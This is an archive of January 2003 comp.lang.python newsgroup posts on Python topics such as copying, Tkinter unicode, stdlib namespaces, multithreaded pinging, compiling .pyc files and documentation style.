>
>No one could call copy-by-value in Python "simple" who has looked at 
>the source for it.
>
>Have you looked at copy.py?  If you haven't, take a peek now and then
>come back and try the question again. ;-)
>
>-Peter
well I did a C extension that implemented most things (up to the new
stuff in 2.2) and you're right it's not at all obvious. I suppose
there's not a lot of interest in faster copy/deep copy; at least no one
has complained that I haven't extended it to cover new style classes.

This seems like an obvious candidate for speeding up, but there's not a
lot of interest in it.
-- 
Robin Becker



From martin at v.loewis.de  Wed Jan 15 11:56:06 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 17:56:06 +0100
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no>
Message-ID: <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de>

"David Brown" <david at no.westcontrol.spam.com> writes:

> To do a binary search, the file you are searching through must be ordered.

You misunderstand. He does not want to perform a binary search, but a
search in binary (rather than text) data. I interpreted this as
meaning that he wants to perform a substring search.

Regards,
Martin




From Frank at frank.org  Tue Jan 28 02:45:00 2003
From: Frank at frank.org (Frank)
Date: Tue, 28 Jan 2003 02:45:00 -0500
Subject: PythonWin - how to configure window colors?
Message-ID: <4occ3vkqadjck854tqqmfvnjearq9gpaja@4ax.com>

I can't find any place to set the text/background colors for the
interactive and othe windows in PythonWin.  Having it use the Win
system colors for window backgrounds would also solve the problem.

The glare of the pure white backgrounds creates eyestrain after only a
few minutes, even on a quality monitor @100 HZ.  I can tone down the
color in Idle with the "normal-background=#aacccc" entry in one of the
config files, but don't know where to put this for PythonWin.
Thanks,
Frank



From ruses at users.snip.snip.ch  Fri Jan 10 10:51:51 2003
From: ruses at users.snip.snip.ch (Uly55e5)
Date: Fri, 10 Jan 2003 16:51:51 +0100
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de>
Message-ID: <3E1EEC17.6050007@users.snip.snip.ch>

Axel Kowald wrote:
> Hi everybody,
> 
> I just had a look at these very detailed benchmark tests, 
> http://www.bagley.org/~doug/shootout/, and I was surprised to see that 
> often java is 20 times faster than python !!

I've just browsed the same page and think it is consistent
with the benchmark results to say that "often java isn't
twice as fast as python".

Also, the matrix multiplication benchmark doesn't use
Numeric.

> 
> How can this be? Both languages interprete bytecode. Maybe because java 
> has a JIT compiler ??
> Is there any hope that python might become faster in future releases ?
> 
> Any ideas ?
> 
>              Axel Kowald
> 





From bokr at oz.net  Thu Jan  9 23:35:36 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 04:35:36 GMT
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu>
Message-ID: <avliio$beo$0@216.39.172.122>

On Fri, 10 Jan 2003 00:15:46 +0000 (UTC), Daniel Yoo <dyoo at hkn.eecs.berkeley.edu> wrote:

>
>I often find that the modules in my own directory can be misnamed to
>conflict with those in the Standard Library.  For example, I might
>have a file called 'random.py' in my working directory, which obscures
>the Standard Library module.
>
>
>Would it be a good idea to have a '__stdlib__' module that magically
>maps its attributes to only Standard Library modules?  It would act as
>a namespace to guarantee access to the standard library, no matter how
>weird the sys.path might get.
>
>
>For example:
>
>###
>import __stdlib__.random      ## guarantees that we're using the
>                              ## standard library module to look this up
>###
>
>
>I wanted to get some feedback on this before writing a PEP... *grin*

I just did an experiment that I don't know all the ramifications of, so don't
take this is anything but an expriment, but if you put a file called
__init__.py with nothing in it (mine has two bytes: '\r\n') in the Lib
directory, so the path to it looks something like 

    D:\Python22\Lib\__init__.py

(your installation location may vary)

Then you can **apparently** import Lib.random in much the way I think you
are asking for.

 >>> import Lib.random
 >>> dir(Lib)
 ['__builtins__', '__doc__', '__file__', '__name__', '__path__', 'random']
 >>> Lib.random.choice('which word is it going to be?'.split())
 'be?'
 >>> Lib.random.choice('which word is it going to be?'.split())
 'word'
 >>> Lib.random.choice('which word is it going to be?'.split())


 >>> from Lib import random as r
 >>> import random as r2
 >>> r
 <module 'Lib.random' from 'D:\python22\Lib\random.pyc'>
 >>> r2
 <module 'random' from 'D:\python22\lib\random.pyc'>
 >>> Lib.random
 <module 'Lib.random' from 'D:\python22\Lib\random.pyc'>

I'm not sure what pitfalls there are, but maybe someone else has tried it, or
is using something like it. But it does make two ways of getting to the same thing,
depending on how your sys.path is set up.

Regards,
Bengt Richter



From martin at v.loewis.de  Sun Jan 26 03:31:54 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 26 Jan 2003 09:31:54 +0100
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com> <b0t0qj$76g$05$1@news.t-online.com> <3E320A68.60008@kootenay.com>
Message-ID: <m3el70z4zp.fsf@mira.informatik.hu-berlin.de>

Bob van der Poel <bvdpoel at kootenay.com> writes:

> Well, since I work mostly in plain ascii, not unicode, I would think
> the correct behaviour would be to return a regular string <type
> 'str'>. 

That can't work, since you can enter text that cannot be represented
in such a regular string.

> I think this is what it was in tcl/tk pre-8.1. And if the
> community wanted to have unicode, that would be fine as well. But, the
> way it is now one never knows if one is going to get a <type
> 'unicode'> or a 'str'. And that isn't right, is it?

This is for backwards compatibility. Always returning Unicode would
have broken too many applications.

> If my program takes strings entered by a user in a Entry() widget and
> I take that data, convert it from a possible unicode string to the
> user's current locale, will the result always be a regular string?

No, the conversion can also raise an exception. If the conversion does
not raise an exception, the result is a byte string.

> Really, what I'm trying to do is to avoid having my program crash when
> I do something like:
> 
>      a=entrywidget.get()
>      if a == somestring:
>         .....
> 
> Current, 'somestring' IS a regular string. 

That, in itself, is not a problem: It appears that it is a byte string
that has non-ASCII bytes in it.

> And if 'a' is a unicode the
> program aborts. So, I'm planning on replacing get() with myget() which
> will just do:
> 
>      a=widget.get().encode(userEncoding)

That can still "abort" (i.e. raise an exception).

> And we're sure there isn't a tcl/tk setting to take of this???

Yes. Tcl 8.x represents all text data internally in UTF-8. So Python
has the choice of either returning UTF-8 byte strings, or returning
Unicode strings.

Regards,
Martin



From steve at pSoPgAgMle.org  Fri Jan 10 08:33:27 2003
From: steve at pSoPgAgMle.org (Steve Hunt)
Date: Fri, 10 Jan 2003 13:33:27 -0000
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de> <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl> <avkua5$ib0$1@news.tudelft.nl>
Message-ID: <1042205523.49394.0@demeter.uk.clara.net>

> Watch the Dutchisms... ;) "qua" in this sense doesn't seem to be as
> colloquial in English as we would like: maybe "with regards to" would
> have been more universally understandable.

Well that's not really what qua means.  It means "in the role of".

-- Steve






From hwlgw at hotmail.com  Sun Jan  5 04:39:50 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 5 Jan 2003 01:39:50 -0800
Subject: Source Forge CVS
References: <8amcnSAFceW664qjXTWcpQ@comcast.com>
Message-ID: <cb035744.0301050139.66483877@posting.google.com>

[Justin Shaw]
> "log into the CVS server"  what is that?
> Is it different from spellquest.sf.net?  I'd appreciate the set by step
> commands if anyone can fill them in for me.

Typical of unix and linux people they think you can figure out
everything yourself.  "Read the source luke!"  Well it is not that
easy.  The info you need is spread all over sourceforge.net.  One of
the things you should do on windows is setting the CVSROOT env.
variable, from my setupcvs.bat file:

set CVSROOT=:ext:yourname at cvs.yourprojectname.sourceforge.net:/cvsroot

hth



From mertz at gnosis.cx  Fri Jan  3 17:28:14 2003
From: mertz at gnosis.cx (David Mertz)
Date: Fri, 03 Jan 2003 17:28:14 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
 <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org>
 <3e15fae2$1_2@news.bluewin.ch>
Message-ID: <+5gF+kKkXUFf092yn@gnosis.cx>                       

"Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
|it's from his Perl6 RFC inspired by his previous work
|http://dev.perl.org/rfc/256.html

Thanks.  BTW, I have found your direction on multmethods very helpful
generally (and I see the point of super() being unsafe all by itself...
it scares me too :-)).

|> After all, plain inheritence in Python doesn't raise compilation/runtime
|> errors if the graph isn't pretty enough--as it does in some languages.
|> MRO never blows up.

|those were the days <wink>
|Python 2.3a1 (#38, Dec 31 2002, 17:53:59)
|Traceback (most recent call last):
|  File "<stdin>", line 1, in ?
|TypeError: MRO conflict among bases B, C

Hmmm... I DO NOT like that (nor did I know it).  After all:

    Python 2.2.2 (#0, Oct 24 2002, 20:53:04) [EMX GCC 2.8.1] on os2emx
    >>> class A(object): pass
    ...
    >>> class B(object): pass
    ...
    >>> class C(A,B): pass
    ...
    >>> class D(B,C): pass
    ...
    >>>

Ah, that halcyon day of Oct 24, 2002...

Is there a (good) reason for this change, or could it be an artifact of
the alpha version?  I don't have 2.3 installed myself.

Yours, David...

--
    _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/
   _/_/    ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~  _/_/
  _/_/  The opinions expressed here must be those of my employer...   _/_/
 _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them!  _/_/





From llothar at web.de  Sat Jan 11 21:27:35 2003
From: llothar at web.de (Lothar Scholz)
Date: 11 Jan 2003 18:27:35 -0800
Subject: Python Coding/Documenting Style Question
Message-ID: <6ee58e07.0301111827.4072409a@posting.google.com>

Is there any common coding style for commenting variables
like the following:

====================================

globalVar = 666  # here comes a comment from hell

class foo:
	"This is the class comment"
		
	ClassVar = 10  # comment about this
	
	def __init__(self):
		self.objectVar = "foo"   # description of objectVar
		
		
=====================================		
		
It seems quite common to add the comments on the same line but.
But what should i do when i want to use longer comments and/or 
document the type of a variable. 

Is there any tool that can
automatically generate documentation from such annotations ?



From BgPorter at NOartlogicSPAM.com  Thu Jan  2 15:49:26 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Thu, 2 Jan 2003 15:49:26 -0500
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com>
Message-ID: <Y6OcnYNlSog5OImjXTWcpw@comcast.com>

"Brad Clements" <bkc at Murkworks.com> wrote in message
news:3e145e67_1 at goliath.newsgroups.com...
> I'm looking for war stories, comments and insight regarding suitable
> development methodologies for "lone wolf" programmers.
>
> That is, developers who work alone.  I'm also interested in how these
> methods work in the context of Python development.
>
> For example, I'm considering PSP and would like to hear from others who
are
> using it, or have tried it. "Real life" stories are useful. I'm somewhat
> annoyed by the SEI (sm) aspect of PSP, so if you haven't been tutored by
an
> SEI instructor, phrase your statements as "PSP-like".
>
Here's my experience -- I got authorization for a small pilot project to
test the PSP in our company.  A small group of programmers interested in
learning the PSP was given regular on-the-clock budget hours to read
Humphreys' books (both "Introduction fo the PSP" and "Discipline for
Software Engineering") and we set aside online conferencing facilities to
discuss it and work together.

After a month or so, the initial enthusiasm pretty much completely petered
out (well, any enthusiasm I might have had was converted into hostility by
that point).

The PSP is pretty rigid about what you're expected to do and how you're
expected to do it. Monitoring my LOC output and timing my every motion (and
running regular regression analyses on my performance) is about as contrary
to my way of working as it's possible to get. Also, a little more reading on
Taylorism (dunno if Humphreys was _directly_ influenced by Taylor's
writings, but it's clearly coming from the same place)and its failures
elsewhere makes me a little more than dubious about the claims that the SEI
makes for PSP.

I also note that the few people I've met who claim to use PSP have turned
out to not really use it on a day-to-day basis because of the high overhead
it imposes. I'm also curious that I've never heard anyone who I consider to
be an especially good programmer endorse it (but I keep looking...).







From scott at fenton.baltimore.md.us  Fri Jan 31 07:05:15 2003
From: scott at fenton.baltimore.md.us (Scott Fenton)
Date: Fri, 31 Jan 2003 06:05:15 -0600
Subject: ungetc in python
Message-ID: <slrnb3kntm.177.scott@debian.fenton.baltimore.md.us>

Hello. I was wondering if anyone knew if there was 
an equivilant of ungetc in Python. I Googled for it
and didn't find anything, and I need it for a parser
I'm working on.

TIA
-Scott Fenton

-- 
char m[9999],*n[99],*r=m,*p=m+5000,**s=n,d,c;main(){for(read(0,r,4000);c=*r;
r++)c-']'||(d>1||(r=*p?*s:(--s,r)),!d||d--),c-'['||d++||(*++s=r),d||(*p+=c==
'+',*p-=c=='-',p+=c=='>',p-=c=='<',c-'.'||write(1,p,1),c-','||read(2,p,1));}



From 6e6op at excite.it  Thu Jan  9 05:42:34 2003
From: 6e6op at excite.it (6e6op)
Date: Thu, 9 Jan 2003 11:42:34 +0100
Subject: a strange question in it.comp.lang...
References: <avhrot$sbh$1@lacerta.tiscalinet.it> <20030108201705.F349@prim.han.de>
Message-ID: <003b01c2b7cb$d7f13af0$c61411ac@win2ktest>

thanks!
so the only way to do that is: take the src of the interpreter and
change str object code... too much work.. the man that did it
builded ruby ;-)) (i'm joking)

i'm thinking...
the possibility to change the
core classes (obviously not __builtins__= __mybuiltins__ )
in some way can be useful to build a customized python,
maybe for embedded system or
for application like java midlet used in new mobile phones...
or things like that.

not really a new platform.. i want to try an example to explain..
the X Company build a new periferal with a mini linux embedded,
with a short list of command and only c++ to implement application.
a customized python, in this case can be the way to build application
better and quickly than c++ for the X Company...

.. it's only an idea

:)
--
Francesco Contini


----- Original Message -----
From: "holger krekel" <pyth at devel.trillke.net>
To: "6e6op" <6e6op at excite.it>
Cc: <python-list at python.org>
Sent: Wednesday, January 08, 2003 8:17 PM
Subject: Re: a strange question in it.comp.lang...


> 6e6op wrote:
> > this is (more or less) the translation
> >
> > From: "Matteo Bertini" <m.bertini at tin.it>
> > Newsgroups: it.comp.lang
> > Sent: Sunday, January 05, 2003 11:26 PM
> > Subject: [PYTHON] estendere tipi di base
> >
> >
> > > I can build a class in this way:
> > >
> > > class mystring(str):
> > >      def is_email(self):
> > >          return self.find("@")
> > >
> > > use it in:
> > >
> > > mystring("pippo at pippo.it").is_email()
> > >
> > > the answer is, can i define mystring to be the default string class?
> > > can i ''validate''  "pippo".is_email() ?
> > > maybe is not goot, but is only curiosity.
> > >
> > > thanks,
> > > Matteo
> >
> > ok, then one answer jump in my brain:
> > there's a "place" where the interpreter load the __builtins__  package?
> > obviously __builtins__.str cannot be substitute with a customized one
after
> > the __builtins__ load ,
> > but before load?
>
> This wouldn't help (and you probably mean __builtin__, btw.).
>
> The construction of a string object doesn't involve a lookup
> of the builtin namespace.  'str' is just a convenient (builtin)
> way to get to the string type.
>
> > if the interpreter load __builtins__ in some place i can translate
> > __builtins__.str
> > with a __builtins__.mystr before that interpreter load __builtins__
> >
> > is it possible?
>
> no.
>
> cheers,
>
>     holger





From clifford.wells at attbi.com  Thu Jan 30 00:58:22 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 29 Jan 2003 21:58:22 -0800
Subject: Join
In-Reply-To: <3E385C1A.7040209@aol.com>
References: <3E385C1A.7040209@aol.com>
Message-ID: <1043906302.19419.1489.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-29 at 14:56, Justin Martin Anderson wrote:
> join

Or else what?  Be assimilated?

-- 
Cliff Wells <clifford.wells at attbi.com>





From mwm at mired.org  Sun Jan 12 01:35:05 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 12 Jan 2003 06:35:05 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net> <v210trgcq5gdf1@news.supernews.com> <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net> <3E20A13D.539E934C@engcorp.com>
Message-ID: <x7y95qswo2.fsf@guru.mired.org>

Peter Hansen <peter at engcorp.com> writes:

> The C compiler has no knowledge of the conditions that will exist
> when the code runs.  Even if it did, its job is already done, while
> the HotSpot compiler can run again, and again, tuning the
> application as conditions change.

That's not strictly true. I've dealt with compilers that could examine
the results of profiled runs of the code being compiled, and use that
information in optimizing the resulting code. You could even rerun the
profiled version on new data and recompile the code.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From BranimirPetrovic at yahoo.com  Wed Jan  8 10:43:28 2003
From: BranimirPetrovic at yahoo.com (Branimir Petrovic)
Date: 8 Jan 2003 07:43:28 -0800
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com> <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com> <mailman.1041767229.6505.python-list@python.org> <8db020b9.0301061545.48785623@posting.google.com> <b11d1191.0301062010.2aa352cf@posting.google.com> <8db020b9.0301071301.48472cf5@posting.google.com>
Message-ID: <b11d1191.0301080743.6814280@posting.google.com>

dhostetler at sopris.net (.d.hos) wrote in message news:<8db020b9.0301071301.48472cf5 at posting.google.com>...
> Branimir and everyone who contributed to this thread,
> 
> Thank you...for your patience and knowledge - you have pointed me in
> the right direction.
> 
> Thanks again, .d.hos

"""One last stab at multithreading ping utility:

Windows ping.exe apparently spawns threads that can not run as daemon
threads. Meaning all spawned ping utilities must exit, their processes
must terminate, before Python program that launched them all can
gracefully exit.

Also - the performance difference of threaded v.s. non threaded approach
in pinging network hosts is negligible - meager few percents, not even
five percent in 'real life'. Therefore multithreading 'ping.exe' is
definitely NOT worth the trouble (but playing with and/or testing
Python threading module is;).

Reason for this is that 'multithreaded approach' in this special case
launches ping.exe and actually spawns whole processes via sys.popen
call - each of which takes approx 2.5 MB of RAM and time to set up and
tear down, and all that overhead is what spoils it. Secret here would be
to strike the right amount balance and start only a couple of (but not
too many) concurrent threads.

There is also an issue of DNS name resolving times (should you use fully
qualified host names instead of raw IP addresses) that might have major
impact on overall results. This is another reason why ping.exe utility
is a bad choice for testing Python's abilities to multithread.

I've got a feeling that multithreading I/O bound requests or network
socket programming might be better playing field for stretching/testing
Python's threading 'legs'.

Branimir
"""

import threading, os, Queue, time

def showResponse(args):
    """Pretty prints passed tuple to stdout"""

    ip, stdoutLi, threadName = args
    print '%s \t\t\t\t\t%s\n' % (ip, threadName)

    for line in stdoutLi:
        line = line.strip()
        if not line: continue
        print '\t' + line
    print '='*72

class Pinger(threading.Thread):

    def __init__(self, host, queue):
        threading.Thread.__init__(self)
        self.__host = host
        self.__queue = queue
        self.setDaemon(1)

    def run(self):
        pingCmd = "ping -n 1 -w 1000 " + self.__host
        childStdout = os.popen(pingCmd)
        result = (self.__host, childStdout.readlines(), self.getName())
        childStdout.close()
        self.__queue.put(result)


if __name__ == '__main__':

    # make list of hosts to ping
    hostLi = ["localhost", "66.218.71.83", "64.66.148.171", "127.0.0.1"]

    q = Queue.Queue()

    startA = time.time()
    for host in hostLi:
        """Create and start all necessary threads, passing results
        back via thread safe Queue instance.
        """
        Pinger(host,q).start()

    i = len(hostLi)

    while i > 0:
        """Loop ends when all responses to dispatched pings arrive"""
        showResponse(q.get())
        i -= 1

    endA = time.time()
    totA = endA - startA

    print "Total execution time (using multithreading): \t%s" % (totA,)
    print '*'*72
    print
    print
    print

    startB = time.time()
    for host in hostLi:
        pingCmd = "ping -n 1 -w 1000 " + host
        childStdout = os.popen(pingCmd)
        result = (host, childStdout.readlines(), None)
        childStdout.close()
        showResponse(result)
    endB = time.time()
    totA = endB - startB
    print "Total execution time (WITHOUT multithreading): \t%s" % (totA,)
    print '*'*72



From altis at semi-retired.com  Sat Jan 11 13:23:27 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sat, 11 Jan 2003 10:23:27 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <ThZT9.98$B62.32373@news.uswest.net>

The most common is probably 's'. However, it makes it more difficult for
other people to read your source if don't use 'self', so it isn't advisable.
You might consider binding a "macro" to type out "self." if typing the
characters bothers you or use some funky character that doesn't occur in
your source and do a global replace later on, but that is probably
error-prone.

ka

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301110959.5b1439da at posting.google.com...
> I agree with the fact that explicit use of self is good
> for code readability, however it tends to make code lines
> too long.  Since 'self' is just a convention, I wonder if
> people out there have tried replacing it with a one-character
> equivalent without encountering any problems.
>
> I was thinking of using '_' ('I' is a distant second
> choice) instead of self.  Comments?





From martin at v.loewis.de  Mon Jan 27 12:49:33 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 27 Jan 2003 18:49:33 +0100
Subject: Simultaneous PyRun_SimpleFile's
In-Reply-To: <b2f253f2.0301270730.6064224c@posting.google.com>
References: <b2f253f2.0301270730.6064224c@posting.google.com>
Message-ID: <b13rf5$82q$04$3@news.t-online.com>

Devrim Erdem wrote:
> For simplicty I would prefer c threads, but I am not sure if the
> interpreter can run two PyRun_SimpleFile functions at the same time.

Your message lacks a question. I'll assume the question is "Can this be 
done?" to which the answer is "yes".

I recommend to use C threads; Python threads are really C threads. Just 
make sure you hold the GIL.

Regards,
Martin





From jdfasllsdfa at dfssdfa.invalid  Mon Jan  6 23:44:18 2003
From: jdfasllsdfa at dfssdfa.invalid (Jive Dadson)
Date: Mon, 06 Jan 2003 20:44:18 -0800
Subject: Python vs .Net
References: <mailman.1041878711.16028.python-list@python.org>
Message-ID: <3E1A5B22.9E53EC41@dfssdfa.invalid>

Bjorn Pettersen wrote:

> > From: Greg Brunet [mailto:gbrunet at nospamsempersoft.com]
> >
> > "Peter Hansen" <peter at engcorp.com> wrote in message
> > news:3E197F7C.D4549EC5 at engcorp.com...
> > > Greg Brunet wrote:
> > > >
> > > > - VB.NET (as well as C##) are/can be very strongly statically
> > > > typed - even more so than VB6.  I'm still trying to determine
> > > > if I like a strongly _dynamically_ typed language like Python.
> > > > I'm having a hard time understanding why it's not better to
> > > > know at compile time that ['foo' + 5] is an exception.
> > > > If I have to wait until runtime, then I
> > > > would think that I need to be writing LOTS more error
> > > > checking code at all my function entry points, whereas with
> > > > strong static typing, I can catch all this at compile time.
> > >
> > > While the specific example you quote, where two statically defined
> > > *constants* are being added, *could* be caught by the compiler, it's
>
> > > pretty rare to be doing that anyway.  More likely you would
> > > be doing something like ['foo' + bar] where bar is bound to the 5.
> > > That would not be catchable until runtime, by definition.
> >
> > Actually, it is catchable at compile time with a statically
> > typed lanugage.  If I have: '============== Dim sName as
> > String Dim nNumber as Integer Dim sResult as String
>
> I think you're missing the point of dynamic typing. In a dynamically
> typed language I can write a function, add, like:
>
>   def add(a,b):
>       return a + b
>
> the result is to create a function that can operate on _any_ type of
> objects that support the '+' operator. There is usually a strong urge
> from programmers coming from statically typed languages to want to add
> type information to this function or add run-time checks to ensure
> they're only passed the right kind of data. In a dynamically typed
> language this is at best counter productive and at worst simply wrong.
> The problem, in my opinion, is that these programmers can't write such a
> function in the languages they know so they're not thinking of problem
> solving in terms of generic functions. (Languages with advanced type
> systems, mostly functional langages, can determine the most generic type
> for these functions although I wouldn't expect many C++ programmers to
> know that <wink>).

Yeah, that's just the sort of blinkered, philistine pig ignorance I've come
to expect from those non-creative C++ programmers.

Nevertheless, in C++ there is a mechanism that is specifically designed to
facilitate generic programming while maintaining strong typing, namely
templates.
Check out the C++ standard template library.  Also look into the work done
by the BOOST group.

J.







From adalke at mindspring.com  Thu Jan  9 13:15:03 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 11:15:03 -0700
Subject: Do pythons like sugar?
In-Reply-To: <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com>
Message-ID: <avkeld$49$1@slb2.atl.mindspring.net>

Afanasiy:
 > You don't know what I am doing. My design is perfect.
 > In my situation, your way is wrong. I am not looking to
 > hide a poor implementation. That's a rude assumption.

I didn't say your design was imperfect, I said your
implementation was.  Though upon review, what I though
was an error in your code (regarding long word lengths)
is not.  That error of mine is not germane to the rest
of this thread.


> When someone like Dalke trolls I will always react.

Me? Trolling?  That's the first time in 12+ years of
newsgroups that I've been accused of that.  You're
pretty thin skinned or hot headed if you believe this
to be the case.

 > I just asked a question and the answer is apparently no,
 > except for the knowledge Dalke is withholding of course.
 > But I can find that one my own...

Unlikely that you can find it, but hey, it's little
skin off my nose and it's cute in an evil sort of way

But if you or anyone uses this in your code, you should
be rightly chastised by everyone else in a code review.

In other words "DO NOT USE IN REAL CODE - I WILL NOT BE
HELD RESPONSIBLE IF YOU DEPLOY WITH THIS.  FOR NOVELTY
USE ONLY."

 >>> class Foo:
...     eggs = 1
...     def doit(self):
...             self.spam = 5
...             self.tomato = 3
...             for x in dir(self): exec "%s = self.%s" % (x,x)
...             for k, v in locals().items():
...                     print k, "==", v
...             print
...             print "the calculation yields", tomato ** spam
...
 >>> Foo().doit()
doit == <bound method Foo.doit of <__main__.Foo instance at 0x815a284>>
tomato == 3
__module__ == __main__
spam == 5
x == tomato
self == <__main__.Foo instance at 0x815a284>
eggs == 1
__doc__ == None

the calculation yields 243
 >>>


					Andrew
					dalke at dalkescientific.com




From holbertr at dma.org  Tue Jan 28 15:22:18 2003
From: holbertr at dma.org (Rick Holbert)
Date: Tue, 28 Jan 2003 15:22:18 -0500
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net> <3E35BAE3.83807E49@engcorp.com>
Message-ID: <b16opr$scl$1@news.cis.ohio-state.edu>

Peter Hansen wrote:

> Newt wrote:
>> 
>> Silly question:
>> 
>> From a command line, how do I create pyc files? I know I can do it from
>> within IDLE, but I want to use a different editor (for other languages).
> 
> This just worked for compiling file "logger.py" in my temp folder:
> 
> python -c "import py_compile as p; p.compile('c:/temp/logger.py')"
> 
> -Peter

This should work nicely in a shell/bat script:

#!/bin/sh

# A quick hack to compile python source into .pyc and .pyo files
#
# Usage: ./py2byte source_file.py
#
# Rick Holbert, 28 Jan 2003
# To convert to MS DOS .bat file, replace $1 with %1

python -c "import py_compile; py_compile.compile(r'$1')"
python -O -c "import py_compile; py_compile.compile(r'$1')"




From herrmisiek at precz.ze.spamem.wp.pl  Thu Jan 16 12:56:35 2003
From: herrmisiek at precz.ze.spamem.wp.pl (Misiek)
Date: Thu, 16 Jan 2003 18:56:35 +0100
Subject: [Python/C API] How to break a script execution ?
Message-ID: <b06rok$ek3$1@zeus.man.szczecin.pl>

Hello everybody,

I have written a MFC application that allows to run Python's scripts with
using Python/C API. All works perfectly, but I don't know how to break a
script execution on demand (something like pressing Ctrl+C in Python).
Suppose I have a script that simply execute an endless loop and I would like
to stop it execution by clicking a button in my application and then dump to
my application an iteration count. Here is an example script:

def main():
    try:
        i = 0
        while 1:
            i = i + 1
    except KeyboardInterrupt:
        print "Iteration: ", i

main()

Is there any possibility to break a script execution from my application and
catch the exception? How to do it? I would be grateful for any
suggestions...

Regards,
Misiek





From cjw at sympatico.ca  Thu Jan 23 18:40:14 2003
From: cjw at sympatico.ca (Colin J. Williams)
Date: Thu, 23 Jan 2003 18:40:14 -0500
Subject: IDLE on WinXP Problem
References: <a5QW9.239$O21.10167@nnrp1.ozemail.com.au>
Message-ID: <3E307D5E.94922B28@sympatico.ca>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030123/e3679d17/attachment.html>

From EDB30 at msn.com  Tue Jan  7 22:59:50 2003
From: EDB30 at msn.com (Tupoi)
Date: Tue, 7 Jan 2003 22:59:50 -0500
Subject: best college for computer science major
Message-ID: <3e1ba232_6@nopics.sjc>

what are the best colleges for those wanting to major in computer science





From lac at strakt.com  Tue Jan 21 15:01:10 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 21 Jan 2003 21:01:10 +0100
Subject: Passing keywords to methods in tkinter 
In-Reply-To: Message from Stephen Boulet <stephen.boulet@motorola.com> 
   of "Tue, 21 Jan 2003 13:29:36 CST." <3E2D9FA0.5020309@motorola.com> 
References: <3E2D9FA0.5020309@motorola.com> 
Message-ID: <200301212001.h0LK1AjL013353@ratthing-b246.strakt.com>

> I'm having trouble passing arbitrary keywords to tkinter classes.
> 
> When I call the class MyButton's init method from the App class, I get 
> the error that the init method takes exactly 3 arguments, but 4 are 
> provided.
> 
> Thanks for any help.
> 
> -- Stephen
> 
> 
> ########################################################
> from Tkinter import *
> 
> class MyButton(Button):
> 	def __init__(self,parent,data,**kw):
> 		self.txt=data
> 		apply(Button.__init__, (self,parent),kw)
> 		
> 	def getValue(self):
> 		print self.txt
> 
> class App:
> 	def __init__(self,parent):
> 		buttonDict = {'text':'some text', 'fg':'red'}
> 
> 		# problem is here
> 		MyButton(parent,'1',buttonDict).grid(row=1,column=0)
> 		MyButton(parent,'2',buttonDict).grid(row=1,column=1)
> 		MyButton(parent,'3',buttonDict).grid(row=1,column=2)

